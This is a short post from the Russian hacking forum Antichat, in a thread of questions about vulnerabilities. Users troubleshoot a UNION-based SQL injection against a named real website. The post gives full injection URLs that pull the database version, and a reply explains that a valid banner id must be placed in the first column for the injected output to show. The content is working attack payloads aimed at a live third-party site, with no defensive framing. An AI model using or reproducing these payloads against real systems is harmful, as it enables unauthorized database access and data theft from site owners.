ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от er9j6@

не любое, например
http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20UNION%20 SELECT%2013719,2,3,4,5,6,7,8,9,version(),11,12,13, 14,15,16,%2017,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33%20,34,35,36,37,38,39,40,41,42,43%20li mit%201,1--+1
такой вариант не проходит и почему пятизначное?

количесто знаков тут не причём))

збоку где вывод выводятся баннеры, каждая ссылка имеет свой id, наведи и увидишь, к примеру 9580

Цитата:

Сообщение от None

http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20UNION%20 SELECT%20
9580
,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,% 2017,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32, 33%20,34,35,36,37,38,39,40,41,42,43%20limit%201,1--+1

вот если есть баннеры под определённым id - есть вывод, если нету то и вывода нету